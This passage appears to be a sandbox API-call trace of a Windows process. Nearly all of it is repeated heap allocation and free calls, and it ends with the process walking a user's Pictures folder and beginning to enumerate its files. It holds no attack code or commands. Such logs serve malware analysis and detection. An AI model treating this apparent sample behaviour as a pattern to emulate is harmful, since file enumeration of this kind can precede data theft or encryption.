0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.041] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.041] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.042] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.042] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.043] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.045] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.045] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.046] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\") returned="qHy Bq3sd4UO\\" [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0068.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.047] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.047] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.047] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.047] PathFindFileNameW (pszPath="") returned="" [0068.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qHy Bq3sd4UO\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 